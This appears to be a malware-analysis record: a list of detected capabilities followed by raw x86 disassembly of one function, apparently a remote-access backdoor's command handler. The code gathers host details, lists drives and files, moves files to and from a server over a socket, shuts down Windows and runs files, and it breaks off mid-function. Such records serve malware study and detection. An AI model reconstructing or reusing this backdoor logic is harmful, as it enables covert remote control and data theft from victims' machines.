Function at 0x401c70
Capabilities:
Check os version
Copy file
Create process on windows
Delete file
Delete registry value
Download and write a file
Enumerate files on windows
Enumerate processes
Get common file path
Get cpu information
Get disk information
Get file size
Get geographical location
Get hostname
Get session user name
Move file
Persist via run registry key
Query or enumerate registry value
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Shutdown system
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x44178
call fcn.004065b0
mov eax, dword [0x4012d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov ax, word [0x401438]
movq xmm0, qword [0x401430]
push ebx
mov ebx, dword [ebp + 8]
mov word [ebp - 0x1c], ax
mov eax, dword [0x40143c]
push esi
mov dword [ebp - 0x439a4], eax
mov al, byte [0x401440]
push 0x1000
mov byte [ebp - 0x439a0], al
lea eax, [ebp - 0x1da4]
push 0
push eax
mov dword [ebp - 0x44110], ebx
mov dword [ebp - 0x44158], 0x7f
mov dword [ebp - 0x4416c], 0x7f
movq qword [ebp - 0x24], xmm0
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4416c]
push eax
lea eax, [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d06
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
push 0
push 0x1000
lea eax, [ebp - 0x1da4]
push eax
push ebx
call sub.WSOCK32.dll_recv
mov esi, eax
test esi, esi
jle 0x404653
push esi
push 0x401444
call fcn.004059a0
push esi
lea eax, [ebp - 0x1da4]
push eax
push 0x401460
call fcn.004059a0
add esp, 0x14
lea eax, [ebp - 0x1da4]
mov ecx, 0x401328
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401d88
test dl, dl
je 0x401d84
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401d88
add eax, 2
add ecx, 2
test dl, dl
jne 0x401d68
xor eax, eax
jmp 0x401d8d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4045d9
push 0x1f3f8
push eax
lea eax, [ebp - 0x4399c]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x401474
mov dword [ebp - 0x439a4], 0x444f4f47
mov dword [ebp - 0x439a0], 0x445750
call fcn.004059a0
lea ecx, [ebp - 0x439a4]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401dd1
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
push 0x1f3f4
lea eax, [ebp - 0x43998]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
movq xmm0, qword [0x401484]
lea edx, [ebp - 0x2a4]
mov eax, dword [0x40148c]
add esp, 0xc
movq qword [ebp - 0x439a4], xmm0
mov esi, edx
mov dword [ebp - 0x4399c], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x401e23
push edi
lea edi, [ebp - 0x439a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401e34
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e60
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
cmp ebx, 0xffffffff
je 0x404652
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401e96
mov ebx, dword [ebp - 0x44110]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [eax]
push 0x1000
lea eax, [ebp - 0x1da4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0x18
lea eax, [ebp - 0x1da4]
push 0
push 0x1000
push eax
push ebx
call sub.WSOCK32.dll_recv
test eax, eax
jle 0x404652
lea eax, [ebp - 0x1da4]
push eax
push 0x4014a8
call fcn.004059a0
lea eax, [ebp - 0x1da4]
push 0x4014b0
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 0x10
test eax, eax
je 0x401f55
push dword [0x40a534]
call sub.WSOCK32.dll_inet_ntoa
lea edx, [ebp - 0x439a4]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x401f21
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401f37
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4014bc
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x401fa2
movups xmm0, xmmword [0x4014c4]
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x439a4], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401f84
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4014d4
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x40200b
mov eax, dword [0x4014dc]
lea ecx, [ebp - 0x439a4]
mov dword [ebp - 0x439a4], eax
lea edx, [ecx + 1]
mov al, byte [0x4014e0]
mov byte [ebp - 0x439a0], al
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401fe0
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
push 0x4014e4
call fcn.004059a0
add esp, 4
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4014f0
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x40206e
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x4012e0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x439a5], al
test al, al
jne 0x402030
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402050
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4014f8
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x40243e
push 0x98
lea eax, [ebp - 0x43ea0]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x80
lea eax, [ebp - 0x2a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0x18
mov dword [ebp - 0x43ea4], 0x9c
lea eax, [ebp - 0x43ea4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0x43e94]
sub eax, 0
je 0x4022e8
sub eax, 1
je 0x402264
sub eax, 1
jne 0x402303
mov eax, dword [ebp - 0x43ea0]
cmp eax, 0xa
jne 0x402116
movq xmm0, qword [0x401500]
mov eax, dword [0x401508]
movq qword [ebp - 0x2da4], xmm0
mov dword [ebp - 0x2d9c], eax
jmp 0x402303
cmp eax, 6
jne 0x4021bd
mov eax, dword [ebp - 0x43e9c]
cmp eax, 3
jne 0x402155
mov eax, dword [0x401514]
movq xmm0, qword [0x40150c]
mov dword [ebp - 0x2d9c], eax
mov al, byte [0x401518]
movq qword [ebp - 0x2da4], xmm0
mov byte [ebp - 0x2d98], al
jmp 0x402303
cmp eax, 2
jne 0x402187
mov ax, word [0x401524]
movq xmm0, qword [0x40151c]
mov word [ebp - 0x2d9c], ax
mov al, byte [0x401526]
movq qword [ebp - 0x2da4], xmm0
mov byte [ebp - 0x2d9a], al
jmp 0x402303
cmp eax, 1
jne 0x402303
mov ax, word [0x401530]
movq xmm0, qword [0x401528]
mov word [ebp - 0x2d9c], ax
mov al, byte [0x401532]
movq qword [ebp - 0x2da4], xmm0
mov byte [ebp - 0x2d9a], al
jmp 0x402303
cmp eax, 5
jne 0x402246
mov eax, dword [ebp - 0x43e9c]
cmp eax, 2
jne 0x4021f2
movups xmm0, xmmword [0x401534]
movups xmmword [ebp - 0x2da4], xmm0
movups xmm0, xmmword [0x401544]
movups xmmword [ebp - 0x2d94], xmm0
jmp 0x402303
cmp eax, 1
jne 0x40221b
mov eax, dword [0x401564]
movups xmm0, xmmword [0x401554]
mov dword [ebp - 0x2d94], eax
mov ax, word [0x401568]
mov word [ebp - 0x2d90], ax
jmp 0x4022fc
test eax, eax
jne 0x402303
movups xmm0, xmmword [0x40156c]
movups xmmword [ebp - 0x2da4], xmm0
movq xmm0, qword [0x40157c]
movq qword [ebp - 0x2d94], xmm0
jmp 0x402303
cmp eax, 4
ja 0x402303
lea eax, [ebp - 0x43ea4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x402303
cmp dword [ebp - 0x43ea0], 4
jne 0x402303
mov eax, dword [ebp - 0x43e9c]
test eax, eax
jne 0x40229c
mov eax, dword [0x401594]
movups xmm0, xmmword [0x401584]
mov dword [ebp - 0x2d94], eax
mov ax, word [0x401598]
mov word [ebp - 0x2d90], ax
jmp 0x4022fc
cmp eax, 0xa
jne 0x4022c2
mov eax, dword [0x4015ac]
movups xmm0, xmmword [0x40159c]
mov dword [ebp - 0x2d94], eax
mov ax, word [0x4015b0]
mov word [ebp - 0x2d90], ax
jmp 0x4022fc
cmp eax, 0x5a
jne 0x402303
mov eax, dword [0x4015c4]
movups xmm0, xmmword [0x4015b4]
mov dword [ebp - 0x2d94], eax
mov ax, word [0x4015c8]
mov word [ebp - 0x2d90], ax
jmp 0x4022fc
mov ax, word [0x4015dc]
movups xmm0, xmmword [0x4015cc]
mov word [ebp - 0x2d94], ax
movups xmmword [ebp - 0x2da4], xmm0
lea eax, [ebp - 0x4413c]
push eax
push 1
push 0
push 0x4015e0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp byte [ebp - 0x4411d], 0
jne 0x402387
lea eax, [ebp - 0x44168]
mov dword [ebp - 0x44168], 0x400
push eax
lea eax, [ebp - 0x51a4]
push eax
push 0
push 0
push 0x401610
push dword [ebp - 0x4413c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x44164]
mov dword [ebp - 0x44164], 4
push eax
lea eax, [ebp - 0x44178]
push eax
push 0
push 0
push 0x401624
push dword [ebp - 0x4413c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov byte [ebp - 0x4411d], al
lea eax, [ebp - 0x44158]
push eax
lea eax, [ebp - 0x924]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push pe_nt_image_headers32
lea eax, [ebp - 0x1a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x7f
lea eax, [ebp - 0x9a4]
push eax
push 0x1002
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x401360
push 0x401344
push 0x401328
push 0x4012e0
lea eax, [ebp - 0x9a4]
push eax
lea eax, [ebp - 0x51a4]
push eax
push dword [ebp - 0x44178]
lea eax, [ebp - 0x924]
push eax
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x2da4]
push eax
lea eax, [ebp - 0x439a4]
push 0x401630
push eax
call esi
lea ecx, [ebp - 0x439a4]
add esp, 0x30
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402420
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4016d8
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x4026d2
push 0x400
lea ebx, [ebp - 0x4da4]
mov eax, ebx
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x1000
lea eax, [ebp - 0x49a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0x18
mov eax, ebx
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edx, ebx
mov esi, ebx
mov al, byte [edx]
inc edx
test al, al
jne 0x402497
lea edi, [ebp - 0x49a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4024a7
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 6
ja case.default.0x4024cd
jmp dword [eax*4 + 0x404668]
lea ecx, [ebp - 0x49a4]
dec ecx
nop dword [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4024e0
mov eax, dword [0x4016e4]
mov dword [ecx], eax
mov eax, dword [0x4016e8]
mov dword [ecx + 4], eax
mov eax, dword [0x4016ec]
mov dword [ecx + 8], eax
jmp case.default.0x4024cd
lea ecx, [ebp - 0x49a4]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402510
mov eax, dword [0x4016f0]
mov dword [ecx], eax
mov eax, dword [0x4016f4]
mov dword [ecx + 4], eax
mov eax, dword [0x4016f8]
mov dword [ecx + 8], eax
mov eax, dword [0x4016fc]
mov dword [ecx + 0xc], eax
jmp case.default.0x4024cd
lea ecx, [ebp - 0x49a4]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402545
mov eax, dword [0x401700]
mov dword [ecx], eax
mov eax, dword [0x401704]
mov dword [ecx + 4], eax
mov eax, dword [0x401708]
mov dword [ecx + 8], eax
mov eax, dword [0x40170c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x401710]
mov dword [ecx + 0x10], eax
mov ax, word [0x401714]
mov word [ecx + 0x14], ax
jmp case.default.0x4024cd
lea ecx, [ebp - 0x49a4]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402590
mov eax, dword [0x401718]
mov dword [ecx], eax
mov eax, dword [0x40171c]
mov dword [ecx + 4], eax
mov eax, dword [0x401720]
mov dword [ecx + 8], eax
mov eax, dword [0x401724]
mov dword [ecx + 0xc], eax
mov eax, dword [0x401728]
mov dword [ecx + 0x10], eax
mov ax, word [0x40172c]
mov word [ecx + 0x14], ax
jmp case.default.0x4024cd
lea ecx, [ebp - 0x49a4]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4025d7
mov eax, dword [0x401730]
mov dword [ecx], eax
mov eax, dword [0x401734]
mov dword [ecx + 4], eax
mov ax, word [0x401738]
mov word [ecx + 8], ax
mov al, byte [0x40173a]
mov byte [ecx + 0xa], al
jmp case.default.0x4024cd
lea ecx, [ebp - 0x49a4]
dec ecx
nop dword [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402610
mov eax, dword [0x40173c]
mov dword [ecx], eax
mov eax, dword [0x401740]
mov dword [ecx + 4], eax
mov eax, dword [0x401744]
mov dword [ecx + 8], eax
mov al, byte [0x401748]
mov byte [ecx + 0xc], al
jmp case.default.0x4024cd
lea ecx, [ebp - 0x49a4]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402642
mov eax, dword [0x40174c]
mov dword [ecx], eax
mov eax, dword [0x401750]
mov dword [ecx + 4], eax
mov eax, dword [0x401754]
mov dword [ecx + 8], eax
mov eax, dword [0x401758]
mov dword [ecx + 0xc], eax
mov al, byte [0x40175c]
mov byte [ecx + 0x10], al
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402678
sub ecx, edx
inc ecx
add ebx, ecx
push 0x401760
push ebx
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
jne 0x402493
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x49a4]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x439a5], al
test al, al
jne 0x4026a0
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4026c0
mov ebx, dword [ebp - 0x44110]
jmp 0x40356d
lea eax, [ebp - 0x1da4]
push 0x401764
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x4029d2
push 0x1f400
lea eax, [ebp - 0x245a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x400
lea eax, [ebp - 0x6a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x400
lea eax, [ebp - 0x39a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x140
lea eax, [ebp - 0x43fe4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea edi, [ebp - 0x1da4]
add esp, 0x30
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x402744
mov ax, word [0x401770]
mov word [edi], ax
lea eax, [ebp - 0x1da4]
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
lea ecx, [ebp - 0x43fe4]
inc eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea edx, [ebp - 0x43fb8]
mov ebx, eax
mov esi, edx
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x402784
lea edi, [ebp - 0x245a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402794
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x245a4]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4027b1
mov ax, word [0x401774]
lea ecx, [ebp - 0x245a4]
dec ecx
mov word [edi], ax
test byte [ebp - 0x43fe4], 0x10
je 0x4027f2
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4027d4
mov eax, dword [0x401778]
mov dword [ecx], eax
mov al, byte [0x40177c]
mov byte [ecx + 4], al
jmp 0x402873
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4027f2
mov eax, dword [0x401780]
push dword [ebp - 0x43fc4]
mov dword [ecx], eax
mov al, byte [0x401784]
mov byte [ecx + 4], al
lea eax, [ebp - 0x39a4]
push 0x401788
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [ebp - 0x39a4]
add esp, 0xc
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x402830
lea edi, [ebp - 0x245a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402840
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x245a4]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x402860
mov ax, word [0x40178c]
mov word [edi], ax
lea eax, [ebp - 0x43fe4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x402999
nop dword [eax]
lea edx, [ebp - 0x43fb8]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402898
lea edi, [ebp - 0x245a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028a8
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x245a4]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4028c5
test byte [ebp - 0x43fe4], 0x10
mov ax, word [0x401774]
mov word [edi], ax
je 0x4028fb
lea edi, [ebp - 0x245a4]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4028e8
mov eax, dword [0x401790]
mov dword [edi], eax
jmp 0x402966
lea ecx, [ebp - 0x245a4]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402902
mov eax, dword [0x401780]
push dword [ebp - 0x43fc4]
mov dword [ecx], eax
mov al, byte [0x401784]
mov byte [ecx + 4], al
lea eax, [ebp - 0x39a4]
push 0x401788
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [ebp - 0x39a4]
add esp, 0xc
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x402940
lea edi, [ebp - 0x245a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402950
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x245a4]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x402970
mov ax, word [0x40178c]
mov word [edi], ax
lea eax, [ebp - 0x43fe4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402890
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x245a4]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x439a5], al
test al, al
jne 0x4029a0
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4029c0
mov ebx, dword [ebp - 0x44110]
jmp 0x40356d
lea eax, [ebp - 0x1da4]
push 0x401794
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
lea eax, [ebp - 0x1da4]
je 0x402b7d
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
inc eax
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40372e
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x1000
mov edi, eax
lea eax, [ebp - 0x1da4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 8], 0
xorps xmm0, xmm0
push 0x401788
push eax
movups xmmword [ebp - 0x18], xmm0
call esi
add esp, 0x18
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x18]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x439a5], al
test al, al
jne 0x402a70
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a90
mov esi, dword [ebp - 0x44110]
lea eax, [ebp - 0x439a4]
push 0
sub ecx, edx
push ecx
push eax
push esi
call sub.WSOCK32.dll_send
push 0
push 0x1000
lea eax, [ebp - 0x1da4]
push eax
push esi
call sub.WSOCK32.dll_recv
lea eax, [ebp - 0x1da4]
push 0x4017a0
push eax
call sub.VCRUNTIME140.dll_strstr
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
test eax, eax
je 0x401e90
xor esi, esi
mov dword [ebp - 0x44114], 0
test edi, edi
je 0x402b56
nop word [eax + eax]
push 0x800
lea eax, [ebp - 0x35a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
lea eax, [ebp - 0x44114]
push 0
push eax
push 0x800
lea eax, [ebp - 0x35a4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push dword [ebp - 0x44114]
lea eax, [ebp - 0x35a4]
push eax
push dword [ebp - 0x44110]
call sub.WSOCK32.dll_send
add esi, dword [ebp - 0x44114]
cmp esi, edi
jb 0x402b00
push 0x1000
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov ebx, dword [ebp - 0x44110]
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401e96
push 0x4017a8
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
lea eax, [ebp - 0x1da4]
je 0x402d07
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
inc eax
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401e96
push 0x1000
lea eax, [ebp - 0x1da4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
mov dword [ebp - 8], 0
lea eax, [ebp - 0x1da4]
xorps xmm0, xmm0
movups xmmword [ebp - 0x18], xmm0
push 0
push 0x1000
push eax
push ebx
call sub.WSOCK32.dll_recv
lea eax, [ebp - 0x1da4]
push eax
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
push 0x1f3fb
mov ebx, eax
lea eax, [ebp - 0x4399f]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov ecx, dword [0x4017a0]
add esp, 0x10
mov dword [ebp - 0x439a4], ecx
mov cl, byte [0x4017a4]
mov byte [ebp - 0x439a0], cl
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c50
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push dword [ebp - 0x44110]
call sub.WSOCK32.dll_send
xor esi, esi
mov dword [ebp - 0x44114], 0
test ebx, ebx
je 0x402cd7
nop
push 0x800
lea eax, [ebp - 0x35a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
lea eax, [ebp - 0x35a4]
push 0
push 0x800
push eax
push dword [ebp - 0x44110]
call sub.WSOCK32.dll_recv
push 0
lea ecx, [ebp - 0x44114]
mov dword [ebp - 0x44114], eax
push ecx
push eax
lea eax, [ebp - 0x35a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
add esi, dword [ebp - 0x44114]
cmp esi, ebx
jb 0x402c80
push 0x1000
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov ebx, dword [ebp - 0x44110]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401ea0
push 0x4017b4
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x402d28
push 0
push 8
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4017c0
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x402d4f
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4017c8
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x402e0e
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea eax, [ebp - 0x1da4]
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 0x14
inc eax
push 0
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jbe 0x402dce
mov eax, dword [0x4017d4]
mov dword [ebp - 0x439a4], eax
mov ax, word [0x4017d8]
mov word [ebp - 0x439a0], ax
mov al, byte [0x4017da]
mov byte [ebp - 0x4399e], al
jmp 0x402de2
mov dword [ebp - 0x439a4], 0x5f525245
mov dword [ebp - 0x439a0], 0x455845
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402df0
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4017dc
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x402ece
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea eax, [ebp - 0x1da4]
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 0x14
inc eax
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jbe 0x402e8d
mov eax, dword [0x4017d4]
mov dword [ebp - 0x439a4], eax
